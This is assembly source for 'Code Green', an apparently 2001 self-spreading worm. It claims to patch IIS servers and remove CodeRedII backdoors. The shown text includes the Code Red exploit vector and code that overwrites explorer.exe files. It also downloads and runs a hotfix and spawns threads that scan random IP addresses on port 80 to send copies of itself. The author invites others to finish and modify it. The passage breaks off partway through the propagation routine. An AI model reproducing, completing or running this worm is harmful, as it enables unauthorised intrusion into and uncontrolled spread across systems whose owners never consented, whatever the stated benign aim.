; Code Green (AntiCodeRed/IDQPatcher/whatever you want) V1.0 BETA [23.08.2001]
; assemble with:
; 	ML /Dmasm /c /Cx /coff CodeGreen.asm
; link with:
; 	LINK CodeGreen.obj /entry:_Entry /subsystem:windows /base:65536

;aims:
; * patch vulnerable systems
; * remove CodeRedII backdoors

;known problems:
; * plenty of probs ... ;(
; * propagation threads will stop (criticalsection), in case only one thread should block while sending
; * don't know if CodeGreen will correctly determine system language
; * don't know if CG will correctly apply patch to all systems
; * don't know if this code would work at all (had not enough time to exessively debug it;()

;known bugs:
; * currently none (inform me if you should find some weak code)

;credits:
; * @eEye: you guys surely did great work finding that bug
; * @MS: thanks for delivering a hotfix that works with system privileges
;	(plus: does not show messagebox when executed with system privileges;))
; * @CodeRedI author: thanks for this great exploit vector; good job
; * @CodeRedII author: sorry for providing code/the base for a code
;	that will/could potentially take your systems
; * @all: it's my first one ...
;	... so please don't flame me for weak coding ...
;	... be nice guys and send me your modified versions of this code.

;debug instructions:
; * assemble CodeGreen.asm
     (or remove txt-extension from CodeGreen.exe.txt [at your own risk])
; * debug your iis
; * go to 0x7801CBD3h (call ebx)
; * set breakpoint there
; * execute betaversion and walk through the code
; * be sure to stay offline, especially when using the preassembled version

;DISCLAIMER:
; (blahblah) ... i will not take responsibility for any bugy in this code
;(THIS IS ONLY A BETA VERSION, WHICH HAS BUGS IN IT).
;in fact i will not take responsibility for this code/included files at all.
;if you use this code or the pre-assembled version, you should know what you are doing.
;hell ... if you can't keep the code on your local iis, it's your fault.
;(i really don't know if this code is working at all
; ... currently it's 10:20 a.m. in germany and it's getting pretty late ...
; ... but tomorry i will be on vacation and perhaps there might be someone out there,
; who could finish my work.)

;sidenote: i did not have the time to optimize the code and to
	write some nice comments; sorry.

.386
.model flat, stdcall
option casemap:none

; ***** ***** Includes ***** *****

	include windows.inc
	include kernel32.inc
	include advapi32.inc
	include wsock32.inc
	includelib kernel32.lib
	includelib advapi32.lib
	includelib wsock32.lib

CGLen EQU CGEnd - CGBegin
CGInitLen EQU CGEnd - CGInit
UDataLen EQU UDataEnd - UDataBegin

.Code

CGInit EQU $
	_Entry:
		.Data
			OldProtection	DD	0
		.Code
			call AdjustCodeSegment
		AdjustCodeSegment:
			pop ebp
			mov eax, CGInitLen
			invoke VirtualProtect, ebp, eax, PAGE_EXECUTE_READWRITE, offset OldProtection
			cmp eax, TRUE
			je _Prologue2
				INT 3
				call GetLastError
				ret

	_Prologue2:
		.Data
			msvcrt_dll	DB	"msvcrt.dll", 0
		.Code
		invoke LoadLibrary, offset msvcrt_dll
			mov esi, eax						;esi -> msvcrt.dll
			add esi, 00050824h
			cmp eax, NULL
			jne _DEBUG ;_CGEntry
				INT 3
				call GetLastError
				ret

	_DEBUG:
		call LaengeCodeGreenCodeBerechnen

	_CGInit:
		.Data
			CGInit_WSAData			DW	0
							DW	0
							DB	257 DUP (0)
							DB	257 DUP (0)
							DW	0
							DW	0
							DD	0

			CGInit_CurrentIP		DD	7F000001h
			CGInit_IoctlSocket_Arg		DD	0
			CGInit_SockAddr			DW	0
							DW	0
							DD	0
							DD	2 DUP (0)
			CGInit_fd_set			DD	1
							DD	1
							DD	63 DUP (0)
		.Data?
			CGInit_CGCodeLen		DD	0 ;Code
			CGInit_CGLen			DD	0 ;Exploit+Code
			CGInit_NewCodeGreen		DB	6000 DUP (?)
		.Code
		call LaengeCodeGreenCodeBerechnen
		xor ebp, ebp ;set initial base-pointer
		jmp CGInit_Get_Used_PropagationThreadFunctions

			LaengeCodeGreenCodeBerechnen:
			pushad
				mov eax, CGLen
				mov [CGInit_CGCodeLen], eax
				lea esi, CodeGreenExploitLenStr

				xor edx, edx
				mov ecx, 1000
				div ecx ;EDX-EAX:ECX Rest:edx Erg:eax
				add eax, 48
				mov [esi], al
				mov eax, edx

				xor edx, edx
				mov ecx, 100
				div ecx
				add eax, 48
				mov [esi+1], al
				mov eax, edx

				xor edx, edx
				mov ecx, 10
				div ecx
				add eax, 48
				mov [esi+2], al
				mov eax, edx

				add eax, 48
				mov [esi+3], al
			popad
			ret


	CGInit_Get_Used_PropagationThreadFunctions:

		mov eax, EnterCriticalSection
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_EnterCriticalSection], eax

		mov eax, LeaveCriticalSection
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_LeaveCriticalSection], eax

		mov eax, socket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_socket], eax

		mov eax, ioctlsocket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_ioctlsocket], eax

		mov eax, connect
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_connect], eax

		mov eax, select
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_select], eax

		mov eax, send
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_send], eax

		mov eax, closesocket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_closesocket], eax

		mov eax, GetSystemTime
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_GetSystemTime], eax

		mov eax, Sleep
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_Sleep], eax

	CGInit_BuildCodeGreen:
		lea esi, [ebp][CodeGreenExploit]
		mov eax, CGExploitLen + CGLen
		mov ecx, eax
		shr ecx, 2 ;div 4
		inc ecx
		mov ebx, ecx	;ebx: NrOfPushs
		CGInit_ReserveStackLoop:
			push 090909090h
			loop CGInit_ReserveStackLoop
			push ebx	;first DW in stack-field holds NrOfPushs

			mov [ebp][ptrNewCodeGreen], esp

		CGInit_CopyCodeGreenExploit:
			mov ecx, CGExploitLen ;eax
			lea edi, [esp+4]
			cld
			rep movsb

		CGInit_AddCodeGreenCode:
			lea esi, [ebp][_CGEntry]
			mov ecx, CGLen
			rep movsb

	CGInit_StartPropagation:
		mov [ebp][NrOfThreads], word ptr 0
		mov [ebp][EndThreadsFlag], byte ptr 0
		mov [ebp][CurrentIP], dword ptr 7F000000h ;does propagation thread only send one copy to the local IIS?
			;7FFFFFFDh ;=127.255.255.254 => no random IP generation, hits local Port 80 1 time

		CGInit_InitializeSockets:
				push offset CGInit_WSAData
				push 0101h
			CALL WSAStartup

		CGInit_Main_StartRandomGenerator:
			push 0
				push esp
				push 0
				push ebp
				lea eax, [ebp][RandomGenerator]
				push eax
				push 0
				push 0
			CALL CreateThread
			pop eax

		CGInit_Initialise_Critical_Sections:
			lea eax, [ebp][CritSec_GetIP]
				push eax
			CALL InitializeCriticalSection

			lea eax, [ebp][CritSec_SendCG]
				push eax
			CALL InitializeCriticalSection

		CGInit_Propagation_ThreadLoop:
			push 0
				push esp
				push 0
				push ebp
				lea eax, [ebp][_ThreadFunction]
				push eax
				push 0
				push 0
			CALL CreateThread
			pop eax

				push 100
			CALL Sleep
		cmp [ebp][NrOfThreads], word ptr MAX_NR_OF_THREADS
		jl CGInit_Propagation_ThreadLoop

	CGInit_ResetPropagation:

		CGInit_Main_WaitLoop:
				push 60000	;60 secs
			CALL Sleep

			CGInit_Main_StartRandomIPSearchAgain:
				lea edx, [ebp][CritSec_GetIP]	;EnterCriticalSection
					push edx
				CALL EnterCriticalSection
			mov [ebp][CurrentIP], dword ptr 0
				lea edx, [ebp][CritSec_GetIP]	;LeaveCriticalSection
					push edx
				CALL LeaveCriticalSection
		jmp CGInit_Main_WaitLoop

;*********************************************************************************************************************************
;************************************************   EXPLOIT VECTOR   *************************************************************
;*********************************************************************************************************************************
	;esp: 7801CBD3h;		[7801CBD3]:	FF 29	call ebx
	;      ->00D3F0E8 90                  nop
	;	00D3F0E9 90                   nop
	;	00D3F0EA 58                 ! pop         eax
	;	00D3F0EB 68 D3 CB 01 78     ! push        7801CBD3h
	;	00D3F0F0 90                   nop
	;	00D3F0F1 90                   nop
	;	00D3F0F2 90                   nop
	;	00D3F0F3 90                   nop
	;	00D3F0F4 90                   nop
	;	00D3F0F5 81 C3 00 03 00 00    add         ebx,300h
	;	00D3F0FB 8B 1B                mov         ebx,dword ptr [ebx]
	;	00D3F0FD 53                 ! push        ebx				(ebx: 00B02698h)
	;	00D3F0FE FF 53 78           ! call        dword ptr [ebx+78h]		pushes 00D3F100h
	;Stack:
	;	[esp]: 00D3F100h, 00B02698h(esp+4), 7801CBD3h(esp+8)
;*********************************************************************************************************************************
;**************************************************   WORM CODE   ****************************************************************
;*********************************************************************************************************************************
CGBegin EQU $
	_CGEntry:
		call _GetEIP
	_GetEIP:
			;00011000 E8 00 00 00 00       call        00011005
			;00011005 5D                   pop         ebp				;ebp > 00011005 z.B. ebp=00401005
			;00011006 B8 06 10 01 00       mov         eax,11006h
			;0001100B 48                   dec         eax				;eax=11005 (STATISCH!)
			;0001100C 55                   push        ebp
			;0001100D 2B E8                sub         ebp,eax			;ebp = ebp - eax	=> Variablenangleichung möglich!
			;0001100F 58                   pop         eax
			;00011010 83 E8 05             sub         eax,5			;eax -> _Entry		=> wir haben komfortablen Zeiger auf den VirenCode!

		pop ebp
		mov eax, $
		dec eax							;eax=11005 (STATISCH!); d.h.: eax zeigt auf "pop ebp"
		push ebp
			sub ebp, eax					;ebp -> (_CGEntry - eax); d.h.: ebp + offset VAR = EffectiveAddressOf Var
		pop eax
		sub eax, 5						;eax -> _CGEntry (VARIABEL!)
		;mov [ebp][BasePointerCode], eax

	push ebp			;Push the BasePointer to stack

	;**********************************************************************************
	;***                              init                                     ***
	;**********************************************************************************

	_GetMsvcrtBaseAndSearchGetProcAddrEntry:
		mov esi, 78000000h ;[esp+12]			;esi: 7801CBD3h (see above)

		;call SearchMZHeader

		lea ebx, [ebp][Str_GetProcAddr]
		mov ecx, Len_GetProcAddr
		mov ebp, dword ptr esi

		mov esi, dword ptr [esi+3Ch]
		add esi, ebp

		mov esi, dword ptr [esi+80h]	;78h=ExportTable 80h=ImportTable
		add esi, ebp

		mov edi, esi			;edi -> ImageImportTable
		sub edi, 14h
		SearchIMAGE_IMPORT_DESCRIPTORs:
			add edi, 14h		;edi -> nextImportDescriptor
			mov esi, [edi+12]		;esi -> Name
			add esi, ebp
			mov esi, [esi]
			cmp esi, "NREK"
			jne SearchIMAGE_IMPORT_DESCRIPTORs

		IMAGE_KERNEL_IMPORT_DESCRIPTOR_Found:	;edi -> KernelImportDescriptor
			mov esi, [edi+10h]		;esi -> PIMAGE_THUNK_DATA (Address-Table)
			add esi, ebp		;[ebp][MsvcrtBase]
			mov edi, [edi]			;edi -> IMAGE_IMPORT_BY_NAME - Pointers (Name-Table)
			add edi, ebp		;[ebp][MsvcrtBase]

			xchg ebx, esi			;ebx=esi; esi -> Str_GetProcAddr

			xor edx, edx			;edx : Zähler

			cld
		SearchPointerTableLoop:
			inc edx		
			pushad
				add [esp], dword ptr 4 ;"add edi, 4" after "popad"
				mov edi, [edi]
				add edi, ebp
				add edi, 2		;edi -> ProcName ;shl edi ...
				CompareTheTwoNames:
					repe cmpsb
			popad
			jnz SearchPointerTableLoop ;the strings are not equal

		FunctionFound: ;edx: NrIn_IMPORT_TABLE
			dec edx
			shl edx, 2 ;edx=edx*4
			add ebx, edx
			mov edx, [ebx]						;EDX: GetProcAddr

	pop ebp
		mov [ebp][ProcTable+API_GetProcAddr], edx
		mov esi, edx

		call SearchMZHeader		;esi -> KernelBase

		lea edi, [ebp][DllTable]
	push edi
		mov [edi], esi
		add edi, 4

	_GetProcAddy_LoadLibrary:
		pushad
			lea eax, [ebp][Str_LoadLibrary]
				push eax
				push esi
			call edx
			mov [esp+24], eax	;ECX: LoadLibrary
		popad
		mov [ebp][ProcTable+API_LoadLibrary], ecx

	_LoadUsedLibraries:
		pushad
			lea esi, [ebp][Str_Advapi]
				push esi
			call ecx ;LoadLibrary
			mov [edi], eax
		popad
		add edi, 4

		pushad
			lea esi, [ebp][Str_User]
				push esi
			call ecx ;LoadLibrary
			mov [edi], eax
		popad
		add edi, 4

		pushad
			lea esi, [ebp][Str_WSock]
				push esi
			call ecx ;LoadLibrary
			mov [edi], eax
		popad
		add edi, 4

		pushad
			lea esi, [ebp][Str_WinInet]
				push esi
			call ecx ;LoadLibrary
			mov [edi], eax
		popad

	pop esi ;esi -> DllTable
		lea ebx, [ebp][ProcTable+8]
		lea edi, [ebp][ProcNameTable]
	_LoadUsedFunctions:
		pushad
			push edi ;ProcName
			push [esi]
			call edx ;GetProcAddy
			mov [ebx], eax
		popad
		add ebx, 4

		SearchNextFunctionName:
			xor al, al
			xor ecx, ecx
			dec ecx
			repne scasb
			cmp al, byte ptr [edi] ;[edi](byte)=0?
			jne _LoadUsedFunctions

		SearchNextDll:
			add esi, 4
			inc edi
			cmp al, byte ptr [edi]
			je AllFunctionsLoaded
		jmp _LoadUsedFunctions

		AllFunctionsLoaded:

	_CheckIfCodeGreenIsAlreadyExecuted:

		CheckIfCodeGreenAtomIsPresent:
			lea ebx, [ebp][CGAtom]
				push ebx
			call [ebp][ProcTable+API_FindAtom]

			or ax, ax
			jz DumpCodeGreenAtom

			TerminateCodeGreenExecution:
					push 2678400000 ;31 days
				call [ebp][ProcTable+API_Sleep]
			jmp TerminateCodeGreenExecution

		DumpCodeGreenAtom:
				push ebx
			call [ebp][ProcTable+API_AddAtom]

	_ReserveMemory:
		push PAGE_EXECUTE_READWRITE
		push MEM_COMMIT
		push 00070000h ;ca. 450kb
		push NULL
		call [ebp][ProcTable+API_VirtualAlloc]
		mov esi, eax					;ESI: AllocatedMem
		mov [ebp][MemPointer], eax
	;**********************************************************************************
	;*** anti Code Red II                                                           ***
	;**********************************************************************************

	_AntiCodeRedII:
		_CheckIfCodeRedIIAtomIsPresent:
			lea ebx, [ebp][CRIIAtom]
				push ebx
			call [ebp][ProcTable+API_GlobalFindAtom]
			or ax, ax
		jnz _RelaceExistingExplorerBackdoor

		DumpCodeRedIIAtom:
				push ebx
			call [ebp][ProcTable+API_GlobalAddAtom]

		_RelaceExistingExplorerBackdoor:

			mov bl, "B"
			mov bh, 2
			lea esi, [ebp][OldExplorer]
			lea edi, [ebp][NewExplorer]

			_MoveExplorerTo_xplorerLoop:
			inc bl

				mov [esi], byte ptr bl
				mov [edi], byte ptr bl
					push FILE_ATTRIBUTE_NORMAL
					push esi
				call [ebp][ProcTable+API_SetFileAttributes]
					;push MOVEFILE_REPLACE_EXISTING
					push edi
					push esi
				call [ebp][ProcTable+API_MoveFile]
			dec bh
			or bh, bh

			jnz _MoveExplorerTo_xplorerLoop

		_BuildAntiCodeRedExe:
			mov edi, [ebp][MemPointer]
			cld

				lea esi, [ebp][eExeContent1]
				mov ecx, offset eExeContent2 - offset eExeContent1 -4
			rep movsb
			add edi, [esi] ;dword ptr [eExeContent2-4]

				lea esi, [ebp][eExeContent2]
				mov ecx, offset eExeContent3 - offset eExeContent2 -4
			rep movsb
			add edi, [esi] ;dword ptr [eExeContent3-4]

				lea esi, [ebp][eExeContent3]
				mov ecx, offset eExeContent4 - offset eExeContent3 -4
			rep movsb
			add edi, [esi] ;dword ptr [eExeContent4-4]

				lea esi, [ebp][eExeContent4]
				mov ecx, offset eExeContent5 - offset eExeContent4 -4
			rep movsb
			add edi, [esi] ;dword ptr [eExeContent5-4]

			mov ebx, edi
			mov edi, [ebp][MemPointer]		;EDI -> AntiCodeRedBuffer
			sub ebx, edi				;EBX: LenAntiCodeRed

		_SaveAntiCodeRedExe:
			mov cl, "B"
			mov ch, 2
			lea esi, [ebp][OldExplorer]

			_SaveAntiCodeRedLoop:
				inc cl
				mov [esi], byte ptr cl
				push ecx

					CreateAntiExplorer:
							push 0
							push FILE_ATTRIBUTE_NORMAL
							push CREATE_ALWAYS
							push 0
							push 0
							push GENERIC_READ or GENERIC_WRITE
							push esi
						call [ebp][ProcTable+API_CreateFile]

					WriteAntExplorer:
						push eax
							push 0
								mov edx, esp
									push 0		;lpOverlapped
									push edx	;lpNrOfBytesWritten
									push ebx	;dwNrOfBytes2Write
									push edi	;lpBuffer
									push eax	;hFile
								call [ebp][ProcTable+API_WriteFile]	;WriteFile
							pop eax
						pop eax

					CloseAntiExplorerHandle:
							push eax
						call [ebp][ProcTable+API_CloseHandle]

				pop ecx
				dec ch
				or ch, ch
			jnz _SaveAntiCodeRedLoop

	;**********************************************************************************
	;***  download patch                                                            ***
	;**********************************************************************************

	mov esi, [ebp][MemPointer]

	_DetermineSystemLanguage:
		call [ebp][ProcTable+API_GetSystemDefaultLangID]	;407h = german
		mov bh, al					;BH: LangID
		or bh, bh
		jz LangIDNotBetween1And31
		cmp bh, 31
		jg LangIDNotBetween1And31
		IsChinese:
			cmp al, 4 ;chinese
			jne NotChinese
			cmp ah, 2
			jne NotChineseSimplified
			mov bh, 3 ;ChineseSimplified [3]
			jmp SystemLanguageDetermined

		NotChinese:
		 NotChineseSimplified:
			cmp al, LANG_PORTUGUESE ;16h
			jne NotPortuguese
			cmp ah, SUBLANG_PORTUGUESE_BRAZILIAN ;01h
			jne NotPortugueseBrazilian
			mov bh, 23 ;Brazilian [23]
			;jmp SystemLanguageDetermined

		NotPortuguese:
		 NotPortugueseBrazilian:
			jmp SystemLanguageDetermined

		LangIDNotBetween1And31:
			mov bh, 9 ;uses ENGLISH as default language
			;jmp SystemLanguageDetermined

		SystemLanguageDetermined:

	_BuildDownloadUrl:
		push esi	;ptrBufMem
			xchg esi, edi					;EDI -> BufMem
			xor ecx, ecx
			xor eax, eax
			dec ecx
				;if an exploit for NT4 came out, we might need this:
				;	cmp bl, 4
				;	jne OS_NT5 ;GetTablePosByLangID
				;	OS_NT4:
				;		NT4_CopyFirstPartOfUrl:
				;			lea esi, [ebp][DLUrlNT4]
				;			call DetermineStringLength
				;			rep movsb
				;		NT4_AddUrlTableEntry:
				;			lea esi, [ebp][NT4UrlTable]		;ESI -> NT[OS-Version]UrlTable
				;			call FindUrlTableEntry
				;			cmp [esi], byte ptr 0
				;			jne NT4_ValidEntryInTableFound
				;			NT4_NoValidEntryInTable:
				;				mov bh, 9
				;				mov [ebp][DLError], byte ptr 1
				;				jmp NT4_AddUrlTableEntry
				;			NT4_ValidEntryInTableFound:
				;				call DetermineStringLength
				;				rep movsb
				;		NT4_AddFileName:
				;			lea esi, [ebp][DLUrlNT4_2]
				;			call DetermineStringLength
				;			inc ecx ;add zero at the end
				;			rep movsb
				;	jmp DownloadUrlBuilt
			OS_NT5:
				NT5_CopyFirstPartOfUrl:			;"http://a"
					lea esi, [ebp][DLUrlNT5]
					call DetermineStringLength

					rep movsb
				NT5_FindUrlTableEntry:
					lea esi, [ebp][NT5UrlTable]		;ESI -> NT[OS-Version]UrlTable
					call FindUrlTableEntry
					cmp [esi], byte ptr 0
					jne NT5_ValidEntryInTableFound
					NT5_NoValidEntryInTable:
						mov bh, 9
						mov [ebp][DLError], byte ptr 1
						jmp NT5_FindUrlTableEntry
					NT5_ValidEntryInTableFound:	;esi -> TableEntry
				NT5_AddUrlTableEntry:			;"131"
					mov eax, dword ptr [esi]
					stosd
					dec edi
				push esi ;->TableEntry
				NT5_AddPart_2:				;".ms.a.microsoft.com/f/"
					lea esi, [ebp][DLUrlNT5_2]
					call DetermineStringLength
					rep movsb
				NT5_AddUrlTableEntry_2:			;"131"
					stosd
					dec edi
				NT5_AddPart_3:				;"/1611/2h/download.microsoft.com/download/win2000platform/Patch/q300972/NT5/"
					inc esi
					call DetermineStringLength
					rep movsb
				NT5_AddUrlTableEntry_3:			;"EN-US"
				pop esi
					add esi, 3
				push esi
					call DetermineStringLength
					rep movsb
				NT5_AddPart_4:				;"Q300972_W2K_SP3_x86_"
					lea esi, [ebp][DLUrlNT5_4]
					call DetermineStringLength
					rep movsb
				NT5_AddFileName:			;"en"
				pop esi
					mov ax, word ptr [esi]
					cmp bh, 23 ;Brazilian
					jne NT5_UseFirstTwoBytes ;NotPortugueseBrazilian
					NT5_UseLastTwoBytes:
						mov ax, word ptr [esi+3]
					NT5_UseFirstTwoBytes:
					stosw
				NT5_AddFileExtension:
					mov eax, "EXE."
					stosd
					mov [edi], byte ptr 0

		DownloadUrlBuilt:
		pop esi	;esi -> UrlString

	_DownloadPatchFile:
			push 0		;dwFlags
			push INTERNET_INVALID_PORT_NUMBER ;dwPort [0]
			push NULL	;lpProxyName
			push PRE_CONFIG_INTERNET_ACCESS ;dwAccessType
		lea eax, [ebp][Net_BrowserName]
			push eax	;lpCallerName
		call [ebp][ProcTable+API_NetOpen]		;InternetOpenA
		mov ebx, eax	;EBX: hNet

			push 0		;dwContext
			push INTERNET_FLAG_RELOAD ;dwFlags
			push 0		;dwHeadersLength
			push NULL	;lpHeaders
			push esi	;lpUrl
			push ebx	;hNet
		call [ebp][ProcTable+API_NetOpenUrl]		;InternatOpenUrlA
		or eax, eax
		jz DownloadPatchFile_ERROR
		mov edi, eax	;EDI: hUrlFile

		lea eax, [ebp][LenPatchFile]
			push eax	;lpNrOfBytesRead
			push 00070000h	;dwNrOfBytes2Read
			push esi	;lpBuffer
			push edi	;hUrlFile
		call [ebp][ProcTable+API_NetReadFile]		;InternetReadFile
		or eax, eax
		jz DownloadPatchFile_ERROR
		cmp [ebp][LenPatchFile], dword ptr 0
		je DownloadPatchFile_ERROR

		jmp CloseInternetHandles

		DownloadPatchFile_ERROR:
			mov [ebp][DLError], byte ptr 2

		CloseInternetHandles:
			push edi
		call [ebp][ProcTable+API_NetCloseHandle]	;InternetCloseHandle

			push ebx
		call [ebp][ProcTable+API_NetCloseHandle]

	;**********************************************************************************
	;***  propagation                                                               ***
	;**********************************************************************************

	_BuildCodeGreen:

		lea esi, [ebp][CodeGreenExploit]
		mov eax, CGExploitLen + CGLen
		mov ecx, eax
		shr ecx, 2 ;div 4
		inc ecx
		mov ebx, ecx	;ebx: NrOfPushs
		ReserveStackLoop:
			push 090909090h
			loop ReserveStackLoop
			push ebx	;first DW in stack-field holds NrOfPushs

			mov [ebp][ptrNewCodeGreen], esp

		CopyCodeGreenExploit:
			mov ecx, CGExploitLen ;eax
			lea edi, [esp+4]
			rep movsb

		AddCodeGreenCode:
			lea esi, [ebp][_CGEntry]
			mov ecx, CGLen
			rep movsb

	_StartPropagation:
		mov [ebp][NrOfThreads], word ptr 0
		mov [ebp][EndThreadsFlag], byte ptr 0
		mov [ebp][CurrentIP], dword ptr 0

		Main_StartRandomGenerator:
			push 0
				push esp	;lpThreadId
				push 0		;dwCreationFlags [0: run immediately]
				push ebp	;lpParameter
				lea eax, [ebp][RandomGenerator]
				push eax	;lpStartAddress
				push 0		;dwStackSize [0: default size]
				push 0		;lpThreadAttrib [0: defaulte secdescriptor]
			call [ebp][ProcTable+API_CreateThread]	;RetVal: hThread
			pop eax

		Initialise_Critical_Sections:
			lea eax, [ebp][CritSec_GetIP]
				push eax
			call [ebp][ProcTable+API_InitializeCriticalSection]

			lea eax, [ebp][CritSec_SendCG]
				push eax
			call [ebp][ProcTable+API_InitializeCriticalSection]

		Propagation_ThreadLoop:
			push 0
				push esp	;lpThreadId
				push 0		;dwCreationFlags [0: run immediately]
				push ebp	;lpParameter
				lea eax, [ebp][_ThreadFunction]
				push eax	;lpStartAddress
				push 0		;dwStackSize [0: default size]
				push 0		;lpThreadAttrib [0: defaulte secdescriptor]
			call [ebp][ProcTable+API_CreateThread]	;RetVal: hThread
			pop eax

				push 100
			call [ebp][ProcTable+API_Sleep]
		cmp [ebp][NrOfThreads], word ptr MAX_NR_OF_THREADS
		jl Propagation_ThreadLoop

	;**********************************************************************************
	;***  apply patch                                                               ***
	;**********************************************************************************

	_ExecutePatchFile:

		cmp [ebp][DLError], byte ptr 1
		jg _DoNotPatch_FreeMemory	;Jmp On Error 2 and 3

			mov ebx, [ebp][LenPatchFile]
			lea esi, [ebp][PatchFileName]
			mov edi, [ebp][MemPointer]
		call WriteFileToTempDirAndExecuteIt ;EBX:FileSize ;ESI->TempFileName("Temp.exe") ;EDI->Buffer2Write

	_DoNotPatch_FreeMemory:
			push MEM_RELEASE
			push 0 ;0070000h ;ca. 450kb
			push [ebp][MemPointer]
		call [ebp][ProcTable+API_VirtualFree]

	;**********************************************************************************
	;***  code green epilogue                                                       ***
	;**********************************************************************************

	_Epilogue:
		mov ecx, 6
		Main_WaitLoop:
		push ecx
				push 1200000	;20 mins
			call [ebp][ProcTable+API_Sleep]

			Main_StartRandomIPSearchAgain:
				lea edx, [ebp][CritSec_GetIP]	;EnterCriticalSection
					push edx
				call [ebp][ProcTable+API_EnterCriticalSection]
			mov [ebp][CurrentIP], dword ptr 0
				lea edx, [ebp][CritSec_GetIP]	;LeaveCriticalSection
					push edx
				call [ebp][ProcTable+API_LeaveCriticalSection]
		pop ecx
		loop Main_WaitLoop

	_End_Main:
		_End_Main_SetEndThreadsFlag:
			mov [ebp][EndThreadsFlag], byte ptr 1
				push 5000
			call [ebp][ProcTable+API_Sleep]

		_BuildCodeGreen_DestroyStack:
			mov eax, [ebp][ptrNewCodeGreen]
			mov ecx, [eax]
			inc ecx
			DestroyStackLoop:
				pop eax
			loop DestroyStackLoop

		_Delete_Critical_Sections:
			lea eax, [ebp][CritSec_GetIP]
				push eax
			call [ebp][ProcTable+API_DeleteCriticalSection]

			lea eax, [ebp][CritSec_SendCG]			;?
				push eax
			call [ebp][ProcTable+API_DeleteCriticalSection] ;?

		_EndCodeGreenExecution_InfiniteLoop:
				push 2678400000
			call [ebp][ProcTable+API_Sleep]
		jmp _EndCodeGreenExecution_InfiniteLoop

	;**********************************************************************************
	;***  propagation thread                                                        ***
	;**********************************************************************************

	_ThreadFunction:

		mov ebp, [esp+4]
		inc word ptr [ebp][NrOfThreads]

		ThreadInitialisation:
			mov ecx, 72
			ThreadInit_Loop:	;reserve Stack-Mem (
				push 0
			loop ThreadInit_Loop

			mov ebx, esp		;EBX -> TempStackMem
			
		ThreadLoop:
			cmp [ebp][EndThreadsFlag], byte ptr 1
			je ThreadCleanup	;end thread
			cmp [ebp][CurrentIP], 0
			jne ThreadLoop_GetCurrentIP

			ThreadLoop_GenerateRandomIP:
				xor [ebp][RandVal], esp
				mov eax, [ebp][RandVal]

				jmp ThreadLoop_VerifyIP

			ThreadLoop_GetCurrentIP:
					lea edx, [ebp][CritSec_GetIP]	;EnterCriticalSection
						push edx
					call [ebp][ProcTable+API_EnterCriticalSection]
				inc dword ptr [ebp][CurrentIP]		;GetCurrentIP
				mov eax, [ebp][CurrentIP]			;eax: CurrentIP
				push eax
					lea edx, [ebp][CritSec_GetIP]	;LeaveCriticalSection
						push edx
					call [ebp][ProcTable+API_LeaveCriticalSection]
				pop eax

			ThreadLoop_VerifyIP:
				mov edx, eax
				and edx, 7F000001h ;7FFFFFFDh ;for debug purposes
				cmp edx, 7F000001h ;7FFFFFFDh ;for debug purposes
				je ThreadLoop_ConnectToIP	;accept this IP

				mov edx, eax
				and edx, 7F000000h ;127.x.x.x
				cmp edx, 7F000000h
				je ThreadLoop_ResetIP

				mov edx, eax
				and edx, 0E0000000h ;224.x.x.x
				cmp edx, 0E0000000h
				je ThreadLoop_ResetIP

				jmp ThreadLoop_ConnectToIP

			ThreadLoop_ResetIP:
					lea edx, [ebp][CritSec_GetIP]	;EnterCriticalSection
						push edx
					call [ebp][ProcTable+API_EnterCriticalSection]
				mov [ebp][CurrentIP], 0			;ResetCurrentIP => random generation
					lea edx, [ebp][CritSec_GetIP]	;LeaveCriticalSection
						push edx
					call [ebp][ProcTable+API_LeaveCriticalSection]
				jmp ThreadLoop

			ThreadLoop_ConnectToIP:
				mov [ebx], eax					;[ebx]:CurrentIP

					push IPPROTO_TCP
					push SOCK_STREAM
					push AF_INET
				call [ebp][ProcTable+API_socket]
				mov dword ptr [ebx+4], eax			;[ebx+4]: socket descriptor
				
				lea edi, [ebx+8]				;[ebx+8]: ioctlsocket_Arg
				mov [edi], dword ptr 1 ;nonblocking
					push edi ;Zeiger auf Option ([ptrArg]: 0=BlockingMode 1=NonblockingMode)
					push FIONBIO
					push [ebx+4] ;SocketDescriptor
				call [ebp][ProcTable+API_ioctlsocket]

				lea edi, [ebx+12]				;[ebx+12]: sockaddr_in
				mov [edi], dword ptr 50000002h ;port: 50h=80
				mov eax, [ebx] ;eax:CurrentIP
				mov [edi+7], al
				mov [edi+6], ah
				ror eax, 16
				mov [edi+5], al
				mov [edi+4], ah
				mov [edi+8], dword ptr 0
				mov [edi+12], dword ptr 0
					push 16 ;NameLen
					push edi ;ptrSockAddr
					push [ebx+4]
				call [ebp][ProcTable+API_connect]

				lea edi, [ebp][SelectTimeVal]
					push edi ;lpTimeVal
					push 0 ;set of sockets to be checked for readability
				lea edi, [ebx+28]				;[ebx+28]: fd_set
				mov [edi], dword ptr 1
				mov eax, [ebx+4]
				mov [edi+4], eax
					push edi ;lpSocket ;check for writability
					push 0 ;set of sockets to be checked for errors
					push 0 ;ignored
				call [ebp][ProcTable+API_select]
				cmp eax, SOCKET_ERROR
				je ThreadLoop_CloseSocket ;ERROR
				or eax, eax
				jz ThreadLoop_CloseSocket ;timeval expired

			ThreadLoop_VulnerableHostFound:
				cmp [ebp][CurrentIP], 0
				jne ThreadLoop_SendCodeGreen
				cmp eax, 7FFFFFFDh
				je ThreadLoop_SendCodeGreen
					mov eax, [ebx]
					mov [ebp][CurrentIP], eax ;eax: CurrentIP

			ThreadLoop_SendCodeGreen:
				lea edi, [ebx+8]
				mov [edi], dword ptr 0 ;blocking
					push edi ;ptrArg
					push FIONBIO
					push [ebx+4]
				call [ebp][ProcTable+API_ioctlsocket]

;If a connected socket can't send CodeGreen and blocks, all other threads will block too.
					lea edx, [ebp][CritSec_SendCG]			;Enter Critical Section
						push edx
					call [ebp][ProcTable+API_EnterCriticalSection]
					push 0 ;flags
